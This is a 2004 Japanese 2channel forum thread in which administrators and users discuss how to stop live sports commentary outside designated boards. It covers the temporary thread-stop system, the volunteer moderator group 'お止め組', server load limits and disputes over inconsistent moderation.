このスレッドはいかにして実況を根絶するかの手段を話し合ったり
実際に実験するのが目的です。
このところスポーツ関係の実況が盛んに行われています
これらは２ちゃんねるでは「実況系の板」で行う約束になっています。
このスレッドの内容(予定)
● 手段や方法を話し合ったり、実際に実験するスレッドです。
● 実況の定義論争はしません。
● 実況の是非も話し合いません。
● (中略)
● 瓢箪から駒を目指しています、今までの方法は提案しないでください。
では、はじめましょう。
I can't stop the Loneliness .....
1：涼実・とも蔵とは、スレへの書き込みを一時停止（スレスト）させる仕組みです。
ex8サーバと芸スポ速報+に導入されています。
2：涼実・とも蔵による一時スレストは、誰にでも解除できます。
http://*****.2ch.net/test/_5ahe/
｢*****｣には、一時スレストされたスレのあるサーバ名を入れて下さい。（例：ex8）
3：涼実・とも蔵には、自動スレストと手動スレストの二種類あります。
4：自動スレストはサーバを守るためのものです。
実況かどうかに関わりなく、一分間に投稿されるレス数に基づいて発動されます。
5：涼実・とも蔵の文末にサインが入っている場合は手動スレストです。
6：手動スレストは実況を止めるためのものです。
7：ex8サーバにおいて手動スレストをかける人々は、お止め組。と呼ばれています。
芸スポ速報+において手動スレストをかけられるのは記者です。
8：現在のお止め組。の活動範囲は
ex8サーバにおいて以下の条件を満たしているものに限られています。
・1-1) 地上波のTV
・1-2) 中継(放映)中
・1-3) 野球、サッカー、F1、K1
・2-1) BS/CSのTV
・2-2) 中継(放映)中（生放送／初回放送）
・2-3) 野球、サッカー、F1、K1
#録画・ニュース内の生中継はお止め組。の活動範囲内です。
#試合終了後でも番組の放送中はお止め組。の活動範囲内です。
#関連番組（スポーツニュース・ダイジェスト・チーム・選手特集）はお止め組。の活動範囲には該当しません。
#お止め組。は一時スレストの解除を禁じられています。
#お止め組。の活動範囲外でも実況は禁止されています。
9：頻出質問
・アンチによる故意の実況
->実況には変わらないので一時スレストの対象になります。
->2ch規制議論http://qb5.2ch.net/sec2chd/や
http://qb5.2ch.net/test/read.cgi/sec2chd/1088854395/に報告して下さい。
・実況が1レスだけだった
->実況は実況です。スピードは関係ありません(なんら判断の基準になりません)。
・明らかに誤爆での一時スレストがあった場合
URLと実況ではないと第三者にもわかるような説明を添えて、こちらに報告して下さい。
・放送終了直前に一時スレストされた
->放送終了の直前でも実況されていれば、一時スレストされます。
・一時スレストされたので、新しくスレを立てた
->板停止になる可能性があります。
・実況の定義
->http://ex5.2ch.net/test/read.cgi/accuse/1087374278/でお願いします。
・ex8サーバ内で実況中のスレがあるのに一時スレストされない
->http://qb5.2ch.net/test/read.cgi/operate/1090334907/
にURLと放送局を報告して下さい。 実況がどうして困るかの実例
904 ：FOX ★ ：04/06/26 14:24 ID:???
今朝の朝生中での 901 の死亡の様子
２ちゃんねるのポリシー面からの話しは置いておいて
実況がどうして困るかというのが如実に現れた現象でした。
直前までの実況のスピード等はなんら意味をなさず
ある瞬間に突然大量の書き込みがあり、サーバはドーンと落ちます
当然その書き込みは反映されることなく。
ここであらためて認識しなければならないのは、
1) 実況は実況である。スピードは関係ない(なんら判断の基準にならない)
2) ２ちゃんねるのほとんどのサーバはそれを想定していない。(しない)
3) 実況は楽しいものである
ということかな、
−−−−−−
286 ： ◆BDFCNV1.to ：04/06/27 05:53 ID:BC4EsYD5
規制とかいろいろやっているのは
削除人さんたちの負担を少しでも減らして
削除人さんたちにコピペ連投や広告爆撃、実況という
どうでもいいことに煩わされずに活動してもらうというのが
底流にあるですよ、つまり削除人さんたちの手を煩わせる前に
ちやっちゃっと片付けなきゃ
295 ： ◆BDFCNV1.to ：04/06/27 06:12 ID:BC4EsYD5
簡単に言えば「さっさと止めろ」です。
２・３の書き込みでも、ROMっている人は数十倍居ます
それがひとたび何かあると、同時に書き込むのだ
実況板のスレ見てると分かるです
昨日の朝生のスレ、２歩のスレ見てくると分かる
「そんなに人いたんかい」というのが如実に分かるﾃﾞ素 737 ：しぢみ ★ ：04/06/23 01:39 ID:???
今までやったこと
1) Samba = 120 にしたけど効果はなかった
2) 板を停止してみたけど効果はなかった
今まで既出で却下されてきた案
番組や試合中だけ
・強制的に人大杉にする
・書き込みcgiを停める
・板を一時閉鎖
・番組や試合中だけ限定で板設定変更
/ 強制ふしあなさん
/ 名無しはふしあなさん
/ 連続投稿規制やsamba規制を厳しくする
実現が難しいのでアイデアや工夫が欲しい案
・実況者のピンポイントアクセス規制
−−−−−−
465 名前：留守番 ★ 04/06/25 14:17 ID:???
>実況に関してなんですが、
>故意に実況をして、当該スレをスレストさせようとする人達（アンチ）には、どのような対処がされるのでしょうか？
2ch規制議論
http://qb5.2ch.net/sec2chd/
ここへどんどん報告してくださいー
−−−−−−
828 ：いづみ ★ ：04/07/02 20:38 ID:???
お止め組。★ としては誰が実況しても、実況している時点で止めでいいかと。（荒らしが実況しているとしても）。
その後荒らし報告しておけば、なお可と。
932 ： ◆UFUFUbWUSk ：04/07/03 20:25 ID:K5ZIchWJ
実況した人(荒らし含む)のレスURLを抜き出して
2ch規制議論
http://qb5.2ch.net/sec2chd/
に報告するのは、そこの板の人がやるべきことですよね？
お止め組。としては、機械的に誘導・涼実で良いのですよね？
934 ：いづみ ★ ：04/07/03 20:27 ID:???
>>932
それで良いと思います。
938 ：いづみ ★ ：04/07/03 20:31 ID:???
荒らし報告をお止め組やその他有志がやってはイカンということではないのですよ。 133：FOX ★ ：04/09/02 02:24 ID:???
んじゃ お題を一つ
実況を以下の要領で分類してください。
1) 意地でも死守する実況。全力を投入し力をあわせて実況を守る。
2) がんばって実況を死守するが、敗れた場合はあきらめる。
3) あぁ 実況やってるの、まぁ 仕方がないか。必要だしね。
4) こらこら実況するんじゃないですよ。いけませんよ。
5) ｺﾞﾙｧ 何実況してるんじゃい、とめとめ、閉鎖閉鎖。
お止め組みの方々(組長は除く)はしっかり答えをだしてね、
野次馬皆で、つっこみましょう。
434：FOX ★ ：04/09/18 03:18:53 ID:???
まだまだ、だらだら行きますが、
a) 毎日、毎日それ自体が興行で行われているものの実況
b) 毎週、毎週〜
c) 毎月、毎月〜
d) 定期的に(一年に複数回)
e) 毎年、毎年〜
f) 数年に一回(二年に一回、四年に一回) 〜
G) 突然。
a) - d) = 実況は実況板で、
e) - f) = 専用のサーバを大抵用意するので、そこで
G) = 何もするな。
796：FOX ★ ：04/09/28 00:49:49 ID:???
100人のお止め組みがいたとして、
現在はある事象に対して一人でも止めたいと思ったら止まるですね、
1) それでかまわない
2) それじぁ 困る
このスレッド及び関連するスレッドを見ていると 2) じゃ困る
という意見が多いように思います。んじゃどうするかを模索している
段階ですねぇ。
a) 誰かが決めれば? 決める人が出現するまでは決まらない。
b) 話し合って決めていこう。 現在進行中。
ていう状況でしょう。
また、何時までに? という疑問もあると思いますが、
別に何時までにやらなきゃいけないという状況でもない様な、
誰か困っていますか? 現実にはサーバは既に落ちなくなったんでないかい?
live8 が今日落ちましたが、幸いにも dat は無事と聞いております。
806：FOX ★ ：04/09/28 01:15:27 ID:???
んで、今までやってきたことをここで話しているですよ。
a) 〜 G) があるだとか、
1) 〜 5) があるだとか、
それでも、実際に運用する場合には統一取るのが難しいこと難しいこと
同一人がやってたとしても、その日の気分で変わるッすから、
今誰が一番困っているですか?
815：FOX ★ ：04/09/28 01:31:43 ID:???
お止め組みの皆さんに一言いうならば、
おつかれっす。
夏の陣がほぼ終わり、今まさに今後のルールを決めているところよ
夏の陣時のルールを持ち出して他の意見を論破する事に意味はない。
もちろん皆さんご存知だとは思いますが、
823：FOX ★ ：04/09/28 01:47:26 ID:???
>>819
簡単に言えば、目の前にオリンピックや野球、K1、F1 等々あった
急遽 お止め組みを編成して、私が指示をだしまくりで夏を越えた、
さて、、、
という段階にあるということを知ってください。
実況がさかんなサーバは遅からず HD が予想以上に痛み
データがぶっ飛ぶというのは今までの経験が物語っています。
これはガチです
つまり 実況用サーバは、データなくなっても ok という了解の下に
動かされています。
854：FOX ★ ：04/09/28 14:01:49 ID:???
ex8 の面々はどうすれば〜〜なんだろぅ
過去ログの保存を一切やめればいいのか?
dat落ち => 削除
組んでみますか、、、 >>1-9 乙っス。
ワロタ、GJ!＞前スレ1000
お止め組の「スレストする勘」って成長してんの？
こんだけいっぱいサンプル見てて、
「これは実況しそう」
「これは実況しなさそう」
とか。
「しそう」「しなさそう」じゃなくて「してたら」止めるんだけど
先週土曜日のK-1の放送は、
実況板だと一回だけ書き込むのが4%なのに対して、
格闘技板では一回だけ書き込むのが50%でした。
IDで判断する限り。
http://qb5.2ch.net/test/read.cgi/sec2chd/1092087276/86-89
ちゃっかりカウンターの数値はK-1の放送前は1万2千に対して、
放送日を挟んで、土曜が3万6千、日曜が4万5千。
格闘技板で実況のありそうな放送は月に１、２度程度。
で、そのときだけ突発的に格闘技板に来訪する利用者による実況が
多いのかと判断してます。
こういうたまにしか来ない人達にとって、板の状態がどうなろうと
知ったこっちゃないわけで、強権的にスレストしていくのがいいと
思いますが。 とにかく、お止め組内部で基準を明確にしてくれ
そうでないと、余計に荒れてたまらん
お止め組を挑発する目的で、厨が沸いて来るんだよ
>>16
俺そこの住人だけど酷い状況だから止めてもいいよ。
って書いてたられんげが止めやがった。
確実に実況だと思われるレスは多くないけどな。 ex8 : Samba24 = 90
base@ex8 : Samba24 = 120 にしました。
ただの雑談スレとして通常スレストで良いような気もする
あぁ、でもそしたらもっと荒れるか＞視聴率スレ
警告してから止めてるんだと思ったんだが
昨日あたり実況に値するレス（これも微妙だと思うんだが）一個でいきなり止められたから
お子様が暴れ出すようになっちゃった
止める基準っての各自バラバラなの？
>>20
既にこのスレで話題に上がってることもあって、普段来てないような奴らが結構来てるから。
それこそ故意に実況するためだけに、お止め組を煽るためだけに来てる奴もいるし。
そういう奴はいくらでもって言ったら言い過ぎだけど、スレ止められてもスレ立てまくるよ。 914 名前：代打名無し＠実況は実況板で[sage] 投稿日：04/09/29 19:22:33 ID:YmrLik8X
このスレ嫌いだから実況しちゃおっかなぁ。
921 名前：代打名無し＠実況は実況板で[sage] 投稿日：04/09/29 19:25:11 ID:YmrLik8X
1000!!!!
951 名前：代打名無し＠実況は実況板で[sage] 投稿日：04/09/29 19:36:48 ID:YmrLik8X
今度こそ１０００ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
952 名前：涼実 ★[] 投稿日：一時停止
2chでは、実況板以外での実況行為は禁止されております。
実況はこちらで行われております。
http://headline.2ch.net/bbylive/
快適な板運営にご協力ください。
なお、このスレ停止は、一定時間経過後に誰でも解除できます。
解除の時期の判断は、みんなにお任せします。
涼実プロジェクト
http://info.2ch.net/wiki/pukiwiki.php?%CE%C3%BC%C2
れんげ＠お止め組。 ★ １０００本ノック状態ですか？
ν速の例でいけば閉鎖ですかね。
>>26
そうなりますねぇ
そのまえに スレ保持数=300 を考えています @ex8 視聴率スレの動向
朝9時（視聴率が出る時）：ｷﾀｰ
巨人戦放送開始まで：fukuiだの防衛軍だので盛り上がる
巨人戦放送中：お止め組必死だな、防衛軍なんちゃら
深夜〜早朝にかけて：たまーにいろんな野球関係ニュースをネタに建設的な議論
もう絶対他板の香具師いるからなぁ。
そこのスレのIDは逐一チェックして
後で洗い出すとかしたほうがいいのかも。
>>27
その時は格闘技はK1、
モタスポはF1と分割してあげて欲しいなぁ… 止める基準をはっきりしないことには、いつまで経っても平行線だぞ。
相手に反論の隙を与えている自分らの行動を顧みたほうがよい。
規制関連と同じ方向でいいんじゃないかと思った>>19
(利用者が)不利になる方向にはガンガンいくと。 >>28
再編板ｦﾁも加えてちょ。
個人的にはメインディッシュの横のポテトみたいなもんだから。
しかし、れんげってここでのやりとり読んでるの？ ぶっちゃけ野球板の住人以外の奴らが来て実況して
規制が強くなっていくとかは納得できないんだよね。
ID抽出してみりゃわかるけど、突然現れて実況して煽っていく奴ばかりだし。
>>27
それなら即死判定戻して欲しいです
削除人さんに毎日のように削除してもらってます
その他のことには文句言いませんお願いします 故意に実況してスレ止める荒らしなら報告対象だが＞荒らし報告
>>38
視聴率スレ住人＝ﾄﾞﾒｻｶからの出張荒らし認定？ >>41
YESといえる証拠はなんにもない。
それと同じくらいNOといえる証拠もない。
しかし、えてして戦争というものは思い込みや煽動により始まるもの
ということ。
>>27
いいですねぇ・・・
datの保持数が減るのは・・・
さらに、いまよりも早くdat落ちするようになれば、
板が活性化するかも・・・（妄想だけど） >>45
こういう奴がいるから荒れるんだよな。
サッカー板と野球板両方を何年間もほぼ不眠で荒らしてるアホを何とかして欲しいもんだ。 >>1
遅ればせながら乙です。
それにしても、1002とは…。 プロ野球と国内サッカーでID統一して
視聴率スレとJ今後を語るスレで比べてみて欲しいとは思う
>>49
Jの今後スレは知らない間に無くなったみたいだよ >>50
あ、ほんとだ。いつの間に。
Jも観客動員視聴率スレだね。 >>27
＞そのまえに スレ保持数=300 を考えています @ex8
FOX ★殿
それでしたら、削除整理板にある削除依頼の削除を早くして下さい。
嫌がらせしてるんじゃないかってくらい、いっぱい溜まってます。
特にアンチ関係 れんげは毎日毎日視聴率スレ だ け を1,2分間隔で監視してるみたいだな。
何がこの人をそこまで駆り立てるの？
>>52
保持数が減れば自然にdat落ちですよ。
手間かからずでｳﾏｰ 視聴率スレ今はもう住民が増えすぎて、毎日がお祭り状態なんだよな。
視聴率で話すのならいいんだけど、サカ豚だ焼豚だの煽り合いに
お止め組みｷﾀ━━━━(ﾟ∀ﾟ)━━━━!!!!!だの
しお韓のプロ野球版だの。
確かに人が多い分色んな情報もいち早く得られるし、
その点では有益なスレなんだけど、選別するのが大変。
せめて分割出来ないかな？
やきう板やサッカー板で有名な聖美の思う壺だな・・・・
まあ今年の場合は球団合併だのオリンピックだのストだので
ニュースに取り上げられる時間が多すぎたせいで、アンチも多く出ると言う下地は多かった
気がします。NHKのニュース実況なんかでも「また野球か」てな感じだったし。
>>19
それが次善の策でしょうな。
一番良いのはサーバーをペンタゴン並みに増強すること。
次が総量を規制する方法をとること。
今の個別対応の仕方は下手すると放置するより悪いかも知れない。 >>65
>今の個別対応の仕方は下手すると放置するより悪いかも知れない。
同意。もう個別対応は限界。 なんでれんげってここに顔ださないの？
一番問題になってる張本人じゃん
>>67
何がどう問題なのか具体的にどぞ。
誰がやったとかはあんまり関係ないです。 >>18
sambaはサーバごとじゃなくて、掲示板ごとに変更できるの？ >>67
れんげは自分の話されてるときはほとぼりが冷めるまで出てこない。
>>69
テレビ中継でよしのぶを見て身体的特徴w
を実況したと判断したんだろ。
以前に井川の髪毛切れよで止めたられたからねえ。 >>68
一般論として、
「お止め組」一塊りにして粘着されてるなら、粘着してるほうに問題あるが、
「れんげ」個人単位で粘着されてるということは、他のお止め組と比較してなにか異質な部分があることは推定できるかと。
それだけで、必ずしもれんげさんが間違ってると断言するつもりや、視聴率スレを１００％擁護するつもりはないが、
ＦＯＸさんが「ブレ」を憂慮してる現状においては、彼女（？）の行動は研究課題ではないか？
ｽﾚ保持数300
↓
無意味な保守合戦勃発
↓
寂れる
↓
閉鎖
↓
運営の勝利
ま、こういう流れでどうでしょう
>>74
緩く止める人と厳しく止める人がいるから厳しく止める人が集中的に恨まれてる
だけじゃねーの？
お止め組み統一基準じゃなくて個々の基準で止めることになってるから、
お止め組みとしてではなく個人の責任が追及されてるように見えるんだけど >>76
＞緩く止める人と厳しく止める人がいるから厳しく止める人が集中的に恨まれてる
＞だけじゃねーの？
ただ厳しいだけだったら、そう言う人が管理しているが注意しようで、周知徹底するだろう。
だが、れんげのやっていたことは、明らかな差別だったんだよ。
巨人が勝っている時の実況はほぼスルーして、巨人が負けている時は実況紛いの書き込みで、
警告もなく即、ぶった切る。
そんな、変則的なことをあからさまにやったら、誰の目にもこいつは巨人ファンだって一目瞭然だ。
だから、れんげ１人が集中的に叩かれているんだ。
最近は、やっと巨人が勝っている時でも、切る様になったが警告は入っている。
今更ながら後の祭りではあるけどね。 まあれんげ叩きもその辺にしようや。
ここはお止め組の叩きスレじゃない。
要はお止め組の統一基準をきっちりつくるのが肝要と見るし、たとえ
杓子定規と言われても、きっちり基準つくったらどう？
>>78
俺もそう思う。
人間完璧なわけじゃないし、背景見るとFOXさんが急遽召集したらしいし、
最初っから完璧には出来ない。
効果はそれなりにあったと思ってます＜お止め組み。
最初は違和感ありましたし、放送終わってから書き込みしようとして
止められていたときは不自由感じたことはあったけど、手段としては
良いと思いますけど・・・・ >>77
変則的であからさまなのが良くわかる、止めてるところと止めてないところの
URL複数まとめて晒すべきだろう
本気で告発するならそのぐらいやらないといかん
情報の小出しはそれだけで不利になるから気を付けた方がいい
また止められた！止めると思ってたら案の定止めやがりました！とか
騒ぐだけだと粘着アンチと同じ手口になって信憑性なくなる
それで実際に偏ってるなら組長になんとかしてもらえばいい
しかし最近は治ってるならたいした処分にならない気もするが 仮に今日中日が勝って、
フジが番組途中で急遽映像を差し替えたら祭り確定だけど
それはお止め対象外だよね?
とりあえず「予告されてない中継」だから放置確定だけど、それで嬉しがって
実況して鯖落ちさせたら野球板はまとめてシベリア送りということで。
>>82
あ、いや、問題は優勝決定でなくて差し替えでね、
特に過去それでごっつを終了に追い込んだフジがやったら
野球板だけでなくて各所で祭りになるだろうから
ストのような「保護する実況」になるのかな、と >>81-83
差し替えとかを考える以前に、ローカルで中継してたら、
普通に活動範囲内ですよん。 >>85
いやー、こないだの、「古田男泣きは保護すべき」ってのがあったからさ 前スレ内の重要発言がいくつか抜けてるみたいなので貼っておこう。
416 名前：FOX ★[sage] 投稿日：04/09/18(土) 01:19:14 ID:???
ニュース速報板でこのスレが削除された
古田男泣き
http://news13.2ch.net/test/read.cgi/news/1095435858/
歴史を目撃しているんだな、
こういうのは一生懸命守ってきたんだな。
残念です。
438 名前：FOX ★[sage] 投稿日：04/09/18(土) 03:54:37 ID:???
ちなみに今日のスト突入はのニュースおよびそれに付随する報道は
2) で運用です。
440 名前：FOX ★[sage] 投稿日：04/09/18(土) 04:00:53 ID:???
2) は現有の設備等でできるだけ頑張るが
それ以上の大波だった場合、負けてもしょうがないです。
11 Sep の時は、投入できる資源(新たに買って来たり、借りてきたりして)を
全部投入して、負けまいと頑張る 1) です。
オリンピック、ワールドカップはそれを予測して資源をあらかじめ投入しているので
実況は実況板で、つまり 5) です。 444 名前：動け動けウゴウゴ２ちゃんねる[sage] 投稿日：04/09/18(土) 05:32:47 ID:sB4vwK/h
感動しました・・・
http://qb5.2ch.net/test/read.cgi/saku/1076626229/827
827 ：FOX ★ ：04/09/18 05:29:12 ID:???
削除人さんへ
【いわゆる実況について 2004/9/18】
実況を理由にスレッドの削除やスレッドの停止、移転等々は基本的に
行わないでください。行う場合は以下の「お止め組み」の議論に参加
もしくはその精神を大切にしてください。有効期限=次の指示まで、
サーバの資源や参加人数は時々刻々と変化しており云々
常に一定の基準で動く必要は全くなく云々
445 名前：動け動けウゴウゴ２ちゃんねる[] 投稿日：04/09/18(土) 05:35:16 ID:sB4vwK/h
さらに、感動しました・・・
http://qb5.2ch.net/test/read.cgi/saku/1076626229/828
828 ：FOX ★ ：04/09/18 05:31:33 ID:???
削除人さんへ
【板違いについて 2004/9/18】
板違いの厳格運用で困っています。いくら板を作っても追いつきません。
なんとかしろー ｺﾞﾙｧ 740 名前：動け動けウゴウゴ２ちゃんねる[sage] 投稿日：04/09/26(日) 23:17:38 ID:7ofe0qPk
前からおかしいと思っていたんだけど、巨人が勝っている時に、
実況してあっても止めないのはなんでなのかな？
巨人がボロ負けしている時は、「きたーーーー」だけで、速攻
止めに来るのにおかしいよねー。
741 名前：FOX ★[sage] 投稿日：04/09/26(日) 23:18:26 ID:???
堀内のファンだからに決まってんだろ、
742 名前：動け動けウゴウゴ２ちゃんねる[sage] 投稿日：04/09/26(日) 23:19:55 ID:EYQHHlB3
>>741
ﾜﾗﾀw
743 名前：動け動けウゴウゴ２ちゃんねる[sage] 投稿日：04/09/26(日) 23:29:42 ID:ujPne0D5
れんげ
潰されんなよ
744 名前：▲ 某ソレ511[sage] 投稿日：04/09/27(月) 00:11:22 ID:khx8XTsS
>>736
うーん、、結びの一番の直後にレスが増えてるようだったので
内容見ないで止めたってことかな、、まぁいいや。どうせ覚えてないんだろうし。
そういえばこのスレに持ってこられる不満ってほとんどれんげさんのやつですよね、、
（おいらが見てるのがたまたまそうなのかもしれないけど、、）
そして実際止めてるのもけっこうれんげさんが多いのかな、
他の人から見てかなり特殊な基準でやってるように見受けられますよね。。
もちろん人によっていろんな基準があるべきだし、それが悪いというつもりは毛頭ないです。 756 名前：動け動けウゴウゴ２ちゃんねる[] 投稿日：04/09/27(月) 14:19:09 ID:oRyXWTM2
お止め組は、はっきりいってもういらないね。
スレストシステム自体曖昧だし、削除スレスト人ともいえないし…
余計な部分に★を使うより、正規削除人を増やしては？
757 名前：FOX ★[sage] 投稿日：04/09/27(月) 14:23:01 ID:???
おっ
いいお題が来た。
これ結構重要です。
>>756 にどう反応するか、 < お止め組みの面々
↓どぞ 777 名前：777＠いづみ ★[] 投稿日：04/09/27(月) 23:29:59 ID:???
現在、お止め組は修行中ですので、すぐに現在の活動鯖を増やすことは考えておりません。
778 名前：動け動けウゴウゴ２ちゃんねる[sage] 投稿日：04/09/27(月) 23:34:27 ID:LLIaXA2f
>>777
さりげない７７７ゲットぼみょん
779 名前：FOX ★[sage] 投稿日：04/09/27(月) 23:35:25 ID:???
何をやっているかというと、
この前もいいましたが、最近の管理人の口癖は「判断のブレ」なんですよん。
まず、２ちゃんねるにおける実況対策としてのスレストの
戒律を作っているところなんですねー、その決まりによって一糸乱れずに活動すると、
現在はそれがお互いに大きくずれていると。
決まり作って、ブレが少なくなったらいろいろなところで活動できると思います。
当然、ニュース速報でスレストが誕生した場合ここで研修してもらいます。
780 名前：ヾ（ﾟﾊﾟ）ﾉ ◆f0.zuburi6 [sage] 投稿日：04/09/27(月) 23:38:27 ID:4kp80Iij
「ゆれ」ではなく「ブレ」ってのがミソなのかな？ これで最後。
1000 名前：FOX ★[sage] 投稿日：04/09/29(水) 15:03:21 ID:???
1,000
1001 名前：動け動けウゴウゴ２ちゃんねる[] 投稿日：04/09/29(水) 15:03:21 ID:ZjZN8bgQ
>>998
野球中継の中での爆発的な実況と
ストみたいな突発事故は違う、でしょ。
運用してる人の話を持ち出すなら。 もともと活動してるお止め組みは少なかったけど
さらに減った予感
だったら
お止め組を見かけたら報告するスレでも立てましょか？
難民板あたりに
>>78
ということで、ブレを抑える為にも
停止対象 ・ 停止条件、などそろそろ真剣に考えましょうか
がっちり固めないで曖昧な部分を残しつつある程度条件追加だけでも良いかも 組長が解散と言ってるんだから
解散で良いだろもう。
止める条件とか ざっくりと餡をかいてみたりー。
○リアルタイムの事象を書き込んでいると見られるものがあったとき
・1レスていどならば誘導→継続の確認で停止
・複数レスが同時につくようなら即停止
・以前にも停止した履歴が確認できた場合,1レスでも即停止
・お止め組を煽るような書き込みがあったら止めちゃってもいいんじゃないでしょーかー
対象は漏れからみてまだハッキリしないのでノーコメント
だけど対象板に関連する内容でTVを含めてリアルタイムで観戦している状態(と思われる)
書き込みだろうねえ。
>>108
最後の項目の場合は放置する方がよろしいかと。 >>108
＞・1レスていどならば誘導→継続の確認で停止
実況がはじまったら負荷が上がって停止したくても
停止出来ないって言ってなかったっけ？
>>86
勘違いしてるだろうけど、古田男泣きはまさに突発だった。
スト突入も、直前までどっちに転ぶか不明だったので突発と見ていいだろう。
それに対して中日優勝はもうほぼ確定されたものだろ。
ここで、競りに競った上最終戦までもつれ込むだと判らなくなるけど。
何をもって突発とするかって話になるのかもしれないが。 >>108
いいと思いますー。
停めたスレについては、ここか出勤スレに書き込んで貰うとか
停めた理由についてもどうかな？ >>113
放送中はたくさんのスレを監視していて、止めるたびにここにスレと理由を
書き込んでる暇はございません。
質問があって、止めたスレを見直せば理由は思い出せますけど、放送終了後
はどのスレを止めたか、なんて憶えてません。
いや、本当に。 > 放送終了後はどのスレを止めたか、なんて憶えてません。
２ちゃんねる検索
http://find.2ch.net/
やるべきだ、って意味ではなく、
やるとしたら、こんなのを活用することができるかもしれない、という意味で >>114
厳しい言い方するがそれだと極論感情的や反射的な止めも発生するのでは？
後でスレ住人の非難が出ても説明ができるような、責任ある止め方をしてほしい >>114
止める度に書き込むのが無理なのはごもっともで。
ただ、止める時、止めたスレと理由となったレス番を控えておいて
後で貼り出すとかしてもらえると、板自治にも役立つし
考察とか検証もよりきちんと行えると思う。
義務化しろとまでは言わないけど、
もう実験の機会はあまり残されてないし、考えてもらえればと。 >>117
「ｘｘスレのレス番ｘｘｘのｘｘの部分を実況と判断したため止めました」
と説明できるような止め方ってことでしょ。
止めたことに対する疑問、質問が名指しで出ても
一切出てこない、説明しないという姿勢が当たり前だというなら、それは問題だと思う。
したくでも出来ない、お止め組さんが出てきて説明することが困難だというのなら、
システム的に改善すべき点があるのかも知れない。 無論、お止め組スレストが効かないような鯖負荷の時は別だけど。
>>119
だからその具体的な手順を提案してくださいってことです
心意気だけならいまさら提案するまでもなく既出なので スレを止める場合に、実況と判断したレス番号を入れる方式のシステムだと
お止め組さんの負担も少ないかもね。
>>121
118にも書いたが「止めたらアドレスをメモ。後で貼る。」そんだけ。
責任ある止め方をする、というより止めることに説明責任を伴わせるって感じ。
それだけで感情とか反射での止めは防げるし、もし出ても対応しやすい。
もっとも、これはお止め組にどこまで責任を負わせるかって話でもあるし
物理的にできるかはお止め組でないので判らない。
と書いていたら
>>122のがいい案かも。
さてさて>>121氏のご意見を伺おうかな。 >>114
それって、要は「人が足りてない」ってことではないの？
いくつも監視するなら、それを３〜４人で分担すれば、
それなりにまめな対応も出来るでしょう。
そういうの全然やってるように見えないんだけど。
おとめ組は沢山いるようだけど、そういう連携をしていく
ことも念頭に入れないと駄目なんじゃないの？
前に５スレ見てて、２スレは止められたけど、２スレは
スクリプト動かなかったって書き込みもあったけど、
それも２〜３人で見れいれば、対応出来たはず。
いっぺんに10人も20人も要らないんだから、１試合を
監視するのに、どれだけマンパワーがいるのか、
もうちょい考えた方がいいんでは？
「一人で対応出来る範囲」で考えてるような気がするよ。 >>119
実況定義はあるのだから、ストップの原因となるレスは住人で判断できませんか？
もちろん100％は無理だとしても97％はわかると思います。
>>109
煽りが入っているかは問題ではなく、実況であれば処理してもいいのでは？
煽りを理由に処理しないのでは煽りながら実況し続けるでしょう。
>>122
だらだら実況しているのはともかく、非常時の実況にはそんな暇はありません。
(非常時…HR、ゴール、試合終了etc...) そいで、提案って程じゃないけど、MSメッセンジャーとか、
そういうの使って連携した方がいいんでない？
相手にしてるのは、チャットに近いようなスピードで来る
ものなんだから、掲示板リロードしながら、番組見ながらじゃ、
リアルタイムの対応には、限界があると思うよ。
連携や分担もしやすいだろうし。
>>125
その残り3%(かどうか知らないけど)がポイントなんだってば。
実際止めたものに対して、いちいち質問が来るわけないんだし。
実況が順調に減っていって最後に残る部分だから
最初は3%でもいずれ割合も大きくなっていく(実際、来てる)と思う。
実況が減ってる(鯖が飛ばなくなってきてる)にもかかわらず
問題が解決した気にならないのは、ブラックな実況が減っても
そうしたグレーゾーンがあまり減っていないからかも知れない。
そこは検証しやすくしても良いんじゃないかなと思う。 >>118
いちいちメモはとってないですが、自分が止めたスレに関しては、何故止めたか、
くらいは説明できますよ、私は。そのスレのログを見れば思い出すから。（というか
そのレスの流れでどこで止めるかもう一度判断し直したら、まあほとんど同じとこで
止めてますわ。はい）
ただ実際の作業中はメモを取る時間も惜しい場合があるんです。
あと、大前提として「やれる時だけやる。できない時は無理しない」というのがあり
ますので、ある試合を見ていても途中で抜けたり途中から参加したりもするわけで、
組員間で連携してというのは現実論として難しいです。
お止め組。の負担分担を、というのなら、誘導レス貼りを手伝って頂きたい。マジで。
>>125
自治誘導をしていますので、そのへんの事情は良くわかっています。
Sambaの制限で困るぐらいですから。
レス番を入れなくても止められるシステムで十分だと思いますよ。
そのような非常時の実況は、誰が見ても明確ですから。 >>128
ほとんど・・・だって、すべてじゃないんだぁ！？ >>130
止めたスレを憶えていないから、すべてのスレで再考したわけではないってことね。 >>123
レス番書いてあってもそれが正しいか確認作業が必要になる気がしますが
手作業で正しく入力できるとは限らないし、止めるたびにログ再取得して確認
するのは手間的にも負荷的にも非現実的です
問題点が停止の妥当性の検証という部分にあるならば、現状の疑問があれば
このスレにURLを貼って説明してもらうという手順と同じ事をするために、スレ
一時停止作業の負荷を高める手法を採用することが適当かという問題にもなるでしょう
レス番号特定することで、停止対象レスとされたレス主VS停止実行したお止め組み
組員の対立という構造が常に発生すること、同じく対象のレス主VSそれ以外の
スレ住人の対立という構造も今以上に発生するであろうこと
それに加えてレス番誤爆の危険も考えると、効果のわりにコストの高い方法
ではないかと思います >>128
できる範囲でですが協力はしますよ。
まぁex8とはいえ野球の住人でないので限界はありますが…
よろしければ、でいいですが
どれくらいの数のスレを見て回っておられるんですか?
とりあえず巨人戦のある平日だと。 >>128
２段落目と
> ただ実際の作業中はメモを取る時間も惜しい場合があるんです。
とが矛盾、とまでは言わないまでもやや相反することを言っているようにも思えます
そんなに必死にならないといけない状態ならばそれはそれでまた
解決すべき問題の一つなのではないでしょうか お止め組みの目的 = 実況を根絶。
実験台 = ex8
because ex8 は自立的には実況が止まらない板のあつまり、
他のサーバの板は自立的にまぁまぁ実況が行われない状態である
板停止or閉鎖をいきなりじゃどもならんので、
お止め組みを作ってあがいてみることにした
結果
それでも実況が止まらないどころか・・・
どうする?
いよいよですか?
>>133
私の場合は普段は阪神戦を見てますが、チームスレが3つくらい、監督スレが3つくらい、
選手個別のスレが8〜15。これに視聴率スレが加わります。
アンチ球団板も加えると30スレくらいは巡回してるかなぁ。
毎戦のように実況があるのはそのうち5つくらいですけどね。
パターンとしては
・監督スレ（セオリー通りでない作戦をとった or 何かすべきなのにしなかった時）
・降板した選手のスレ
・代打などで出てきた非レギュラー選手のスレ
・特に不調な選手のスレ
が要注意。
>>134
そうですか？
